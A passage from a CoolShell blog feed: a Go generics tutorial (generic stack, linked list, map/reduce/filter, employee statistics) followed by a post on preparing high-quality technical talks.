  • 最后一个是,上面的 find() 算法依赖于“数组”,对于hash-table、tree、graph、link等数据结构还要重写。也就是说,没有一个像C++ STL那样的一个泛型迭代器(这其中的一部分工作当然也需要通过重载操作符(如:++ 来实现)

不过,这个已经很好了,让我们来看一下,可以干哪些事了。

数据结构

Stack 栈

编程支持泛型最大的优势就是可以实现类型无关的数据结构了。下面,我们用Slices这个结构体来实现一个Stack的数结构。

首先,我们可以定义一个泛型的Stack

type stack [T any] []T

看上去很简单,还是 [T any] ,然后 []T 就是一个数组,接下来就是实现这个数据结构的各种方法了。下面的代码实现了 push()pop()top()len()print()这几个方法,这几个方法和 C++的STL中的 Stack很类似。(注:目前Go的泛型函数不支持 export,所以只能使用第一个字符是小写的函数名)

func (s *stack[T]) push(elem T) {
  *s = append(*s, elem)
}

func (s *stack[T]) pop() {
  if len(*s) > 0 {
    *s = (*s)[:len(*s)-1]
  } 
}
func (s *stack[T]) top() *T{
  if len(*s) > 0 {
    return &(*s)[len(*s)-1]
  } 
  return nil
}

func (s *stack[T]) len() int{
  return len(*s)
}

func (s *stack[T]) print() {
  for _, elem := range *s {
    fmt.Print(elem)
    fmt.Print(" ")
  }
  fmt.Println("")
}

上面的这个例子还是比较简单的,不过在实现的过程中,对于一个如果栈为空,那么 top()要么返回error要么返回空值,在这个地方卡了一下。因为,之前,我们返回的“空”值,要么是 int 的0,要么是 string 的 “”,然而在泛型的T下,这个值就不容易搞了。也就是说,除了类型泛型后,还需要有一些“值的泛型”(注:在C++中,如果你要用一个空栈进行 top() 操作,你会得到一个 segmentation fault),所以,这里我们返回的是一个指针,这样可以判断一下指针是否为空。

下面是如何使用这个stack的代码。

func main() {

  ss := stack[string]{}
  ss.push("Hello")
  ss.push("Hao")
  ss.push("Chen")
  ss.print()
  fmt.Printf("stack top is - %v\n", *(ss.top()))
  ss.pop()
  ss.pop()
  ss.print()

  
  ns := stack[int]{}
  ns.push(10)
  ns.push(20)
  ns.print()
  ns.pop()
  ns.print()
  *ns.top() += 1
  ns.print()
  ns.pop()
  fmt.Printf("stack top is - %v\n", ns.top())

}

 

LinkList 双向链表

下面我们再来看一个双向链表的实现。下面这个实现中实现了 这几个方法:

  • add() – 从头插入一个数据结点
  • push() – 从尾插入一个数据结点
  • del() – 删除一个结点(因为需要比较,所以使用了 compareable 的泛型)
  • print() – 从头遍历一个链表,并输出值。
type node[T comparable] struct {
  data T
  prev *node[T]
  next *node[T]
}

type list[T comparable] struct {
  head, tail *node[T]
  len int
}

func (l *list[T]) isEmpty() bool {
  return l.head == nil && l.tail == nil
}

func (l *list[T]) add(data T) {
  n := &node[T] {
    data : data,
    prev : nil,
    next : l.head,
  }
  if l.isEmpty() {
    l.head = n
    l.tail = n
  }
  l.head.prev = n
  l.head = n
}

func (l *list[T]) push(data T) { 
  n := &node[T] {
    data : data,
    prev : l.tail,
    next : nil,
  }
  if l.isEmpty() {
    l.head = n
    l.tail = n
  }
  l.tail.next = n
  l.tail = n
}

func (l *list[T]) del(data T) { 
  for p := l.head; p != nil; p = p.next {
    if data == p.data {
      
      if p == l.head {
        l.head = p.next
      }
      if p == l.tail {
        l.tail = p.prev
      }
      if p.prev != nil {
        p.prev.next = p.next
      }
      if p.next != nil {
        p.next.prev = p.prev
      }
      return 
    }
  } 
}

func (l *list[T]) print() {
  if l.isEmpty() {
    fmt.Println("the link list is empty.")
    return 
  }
  for p := l.head; p != nil; p = p.next {
    fmt.Printf("[%v] -> ", p.data)
  }
  fmt.Println("nil")
}

上面这个代码都是一些比较常规的链表操作,学过链表数据结构的同学应该都不陌生,使用的代码也不难,如下所示,都很简单,看代码就好了。

func main(){
  var l = list[int]{}
  l.add(1)
  l.add(2)
  l.push(3)
  l.push(4)
  l.add(5)
  l.print() //[5] -> [2] -> [1] -> [3] -> [4] -> nil
  l.del(5)
  l.del(1)
  l.del(4)
  l.print() //[2] -> [3] -> nil
  
}

函数式范型

接下来,我们就要来看一下我们函数式编程的三大件 map()reduce()filter() 在之前的《Go编程模式:Map-Reduce》文章中,我们可以看到要实现这样的泛型,需要用到反射,代码复杂到完全读不懂。下面来看一下真正的泛型版本。

泛型Map
func gMap[T1 any, T2 any] (arr []T1, f func(T1) T2) []T2 {
  result := make([]T2, len(arr))
  for i, elem := range arr {
    result[i] = f(elem)
  }
  return result
}

在上面的这个 map函数中我使用了两个类型 – T1T2

  • T1 – 是需要处理数据的类型
  • T2 – 是处理后的数据类型

T1T2 可以一样,也可以不一样。

我们还有一个函数参数 –  func(T1) T2 意味着,进入的是 T1 类型的,出来的是 T2 类型的。

然后,整个函数返回的是一个 []T2

好的,我们来看一下怎么使用这个map函数:

nums := []int {0,1,2,3,4,5,6,7,8,9}
squares := gMap(nums, func (elem int) int {
  return elem * elem
})
print(squares)  //0 1 4 9 16 25 36 49 64 81 

strs := []string{"Hao", "Chen", "MegaEase"}
upstrs := gMap(strs, func(s string) string  {
  return strings.ToUpper(s)
})
print(upstrs) // HAO CHEN MEGAEASE 


dict := []string{"零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖"}
strs =  gMap(nums, func (elem int) string  {
  return  dict[elem]
})
print(strs) // 零 壹 贰 叁 肆 伍 陆 柒 捌 玖
泛型 Reduce

接下来,我们再来看一下我们的Reduce函数,reduce函数是把一堆数据合成一个。

func gReduce[T1 any, T2 any] (arr []T1, init T2, f func(T2, T1) T2) T2 {
  result := init
  for _, elem := range arr {
    result = f(result, elem)
  }
  return result
}

函数实现起来很简单,但是感觉不是很优雅。

  • 也是有两个类型 T1T2,前者是输出数据的类型,后者是佃出数据的类型。
  • 因为要合成一个数据,所以需要有这个数据的初始值 init,是 T2 类型
  • 而自定义函数 func(T2, T1) T2,会把这个init值传给用户,然后用户处理完后再返回出来。

下面是一个使用上的示例——求一个数组的和

nums := []int {0,1,2,3,4,5,6,7,8,9}
sum := gReduce(nums, 0, func (result, elem int) int  {
    return result + elem
})
fmt.Printf("Sum = %d \n", sum)
泛型 filter

filter函数主要是用来做过滤的,把数据中一些符合条件(filter in)或是不符合条件(filter out)的数据过滤出来,下面是相关的代码示例

func gFilter[T any] (arr []T, in bool, f func(T) bool) []T {
  result := []T{}
  for _, elem := range arr {
    choose := f(elem)
    if (in && choose) || (!in && !choose) {
      result = append(result, elem)
    }
  }
  return result
}

func gFilterIn[T any] (arr []T, f func(T) bool) []T {
  return gFilter(arr, true, f)
}

func gFilterOut[T any] (arr []T, f func(T) bool) []T {
  return gFilter(arr, false, f)
}

其中,用户需要提从一个 bool 的函数,我们会把数据传给用户,然后用户只需要告诉我行还是不行,于是我们就会返回一个过滤好的数组给用户。

比如,我们想把数组中所有的奇数过滤出来

nums := []int {0,1,2,3,4,5,6,7,8,9}
odds := gFilterIn(nums, func (elem int) bool  {
    return elem % 2 == 1
})
print(odds)

业务示例

正如《Go编程模式:Map-Reduce》中的那个业务示例,我们在这里再做一遍。

首先,我们先声明一个员工对象和相关的数据

type Employee struct {
  Name     string
  Age      int
  Vacation int
  Salary   float32
}

var employees = []Employee{
  {"Hao", 44, 0, 8000.5},
  {"Bob", 34, 10, 5000.5},
  {"Alice", 23, 5, 9000.0},
  {"Jack", 26, 0, 4000.0},
  {"Tom", 48, 9, 7500.75},
  {"Marry", 29, 0, 6000.0},
  {"Mike", 32, 8, 4000.3},
}

然后,我们想统一下所有员工的薪水,我们就可以使用前面的reduce函数

total_pay := gReduce(employees, 0.0, func(result float32, e Employee) float32 {
  return result + e.Salary
})
fmt.Printf("Total Salary: %0.2f\n", total_pay) // Total Salary: 43502.05

我们函数这个 gReduce 函数有点啰嗦,还需要传一个初始值,在用户自己的函数中,还要关心 result 我们还是来定义一个更好的版本。

一般来说,我们用 reduce 函数大多时候基本上是统计求和或是数个数,所以,是不是我们可以定义的更为直接一些?比如下面的这个 CountIf(),就比上面的 Reduce 干净了很多。

func gCountIf[T any](arr []T, f func(T) bool) int {
  cnt := 0
  for _, elem := range arr {
    if f(elem) {
      cnt += 1
    }
  }
  return cnt;
}

我们做求和,我们也可以写一个Sum的泛型。

  • 处理 T 类型的数据,返回 U类型的结果
  • 然后,用户只需要给我一个需要统计的 TU 类型的数据就可以了。

代码如下所示:

type Sumable interface {
  type int, int8, int16, int32, int64,
        uint, uint8, uint16, uint32, uint64,
        float32, float64
}

func gSum[T any, U Sumable](arr []T, f func(T) U) U {
  var sum U
  for _, elem := range arr {
    sum += f(elem)
  }
  return sum
}

上面的代码我们动用了一个叫 Sumable 的接口,其限定了 U 类型,只能是 Sumable里的那些类型,也就是整型或浮点型,这个支持可以让我们的泛型代码更健壮一些。

于是,我们就可以完成下面的事了。

1)统计年龄大于40岁的员工数

old := gCountIf(employees, func (e Employee) bool  {
    return e.Age > 40
})
fmt.Printf("old people(>40): %d\n", old) 
// ld people(>40): 2

2)统计薪水超过 6000元的员工数

high_pay := gCountIf(employees, func(e Employee) bool {
  return e.Salary >= 6000
})
fmt.Printf("High Salary people(>6k): %d\n", high_pay) 
//High Salary people(>6k): 4

3)统计年龄小于30岁的员工的薪水

younger_pay := gSum(employees, func(e Employee) float32 {
  if e.Age < 30 {
      return e.Salary
  } 
  return 0
})
fmt.Printf("Total Salary of Young People: %0.2f\n", younger_pay)
//Total Salary of Young People: 19000.00

4)统计全员的休假天数

total_vacation := gSum(employees, func(e Employee) int {
  return e.Vacation
})
fmt.Printf("Total Vacation: %d day(s)\n", total_vacation)
//Total Vacation: 32 day(s)

5)把没有休假的员工过滤出来

no_vacation := gFilterIn(employees, func(e Employee) bool {
  return e.Vacation == 0
})
print(no_vacation)
//{Hao 44 0 8000.5} {Jack 26 0 4000} {Marry 29 0 6000}

怎么样,你大概了解了泛型编程的意义了吧。

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post Go编程模式 : 泛型编程 first appeared on 酷 壳 - CoolShell.

如何做一个有质量的技术分享

作者 陈皓
2021年7月13日 13:00

分享信息并不难,大多数人都能做到,就算是不善言谈性格内向的技术人员,通过博客或社交媒体,或是不正式的交流,他们都能或多或少的做到。但是如果你想要做一个有质量有高度的分享,这个就难了,所谓的有质量和有高度,我心里面的定义有两点:1)分享内容的保鲜期是很长的,2)会被大范围的传递。我们团队内每周都在做技术分享,虽然分享的主题都很有价值,但是分享的质量参差不齐,所以,想写下这篇文章 。供大家参考。

首先,我们先扪心自问一下,我们自己觉得读到的好的技术文章是什么?我不知道大家的是什么,我个人认为的好的文章是下面这样的:

  • 把复杂的问题讲解的很简单也很清楚。比如我高中时期读到这本1978年出版的《从一到无穷大》,用各种简单通俗通懂的话把各种复杂的科学知识讲的清清楚楚。还有看过的几本很好的书,有一本是《Windows程序设计》,从一个hello world的程序开始一步一步教你Windows下的原生态编程。
  • 有各种各样的推导和方案的比较,让你知其然知其所以然。有了不同方案的比较,才可能让人有全面的认识。这个方面的经典作著是《Effective C++》。
  • 原理、为什么、思路、方法论会让人一通百通。这里面最经典的恐怕就是《十万个为什么》了,在计算机方面也有几本经典书,有《Unix编程艺术》、《设计模式》、《深入理解计算机系统》等书,以及《The C10K Problem》等很多技术论文。

其实,从教科书,到专业书,再到论文,都有上面这些不错的特质。

所以,如果你想做一个好的技术分享的话,下面是我总结出来的方法,供你参考。

  • 先描述好一个问题。这样能够听众带入进来,如果这个问题是他们感同身受的,那是最好了。千万不要一上来就说What,或是直接冲进答案里。这样的分享是在灌输和填鸭。把Why说清楚。没有Why,直接谈What的技术分享,通常来说价值不大。
  • How比What重要。在讲How的时候,也就是如何解这个问题。
    • 先要把问题模型说清楚,有了问题模型这个框框后,方案才有意义。
    • 然后要有不同技术的比较。有了比较后,听众才会更相信你。
    • 直接上What的技术细节,其实没有太大意义。
  • 一定要有Best Practice或方法论总结,否则上不了档次的。也就是分享中大家可以得到的重要收获。

说明了这个模型就是:问题 –> 方案 –> 总结。这其中是有一定的心理学模型的,具体表现如下:

  • 用问题来吸引受众,带着受众来一起思考
  • 用问题模型来框住受众的思考范围,让受众聚焦
  • 给出几种不同的解决方案,比较他们的优缺点,让受众有一种解决问题的参与感。
  • 最后,给出最佳实践,方法论或套路,因为有了前三步的铺垫,受众欣然接受。
  • 整个过程会让受众有强烈的成长感和收获感。

这里有几个示例,也是我在我司 MegaEase 内部的技术分享,供你参考(我个人的YouTube频道

技术分享:Prometheus是怎么存储数据的(Youtube)

技术分享:Distributed Lock Manager(Youtube)

下面是我写在我们公司内的Knowledge Sharing中的Best Practice,供参考

Sharing Guideline

Please follow the following sharing protocols

Understand Sharing

  • Sharing is the hard way to learn knowledge. The presenter gains the biggest advantages. not audience. 分享是学习知识的最难的方式。分享者获得的好处最最多的,而不是观众。
  • Sharing can open the knowledge door for the audience, but you have to walk to knowledge by yourself. 分享可以为听众打开知识的大门,但你能不能获得知识还要靠你自己。

Best Practices

To perform a great sharing, please follow the below practices.

  • Do not share a big topic, a small topic is better. A big topic could make the audience lose focus. Remember, Less is More!
  • Sharing time less than 60 mins is the best.
  • English language for slides is preferred.
  • While prepare the sharing contents, it’s better to discuss with the senior people to help you to see the whole picture, understand the good side and bad side, know what you don’t know … etc.
  • Strong Recommend Materials Outlines
    • What’s the Problem?
    • How to Solve the Problem?
    • The Best Solution or Practice.
    • The Mechanism, Key Techniques, and Source Code
    • Pros/Cons
    • References (Further reading)

For example, if you want to sharing a topic about Docker. the following outlines would be good one:

  • What’s the major problems need to solve. (Provision, Environment, Isolation etc.)
  • The Alternative solutions. (Puppet/Chef/Ansible, VM, LXC etc.)
  • The Best Solution – Docker. Why?
  • Docker’s key techniques – image, cgroup, union fs, namespace…
  • Docker’s Pros/Cons
  • Further reading list.

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 如何做一个有质量的技术分享 first appeared on 酷 壳 - CoolShell.
❌
❌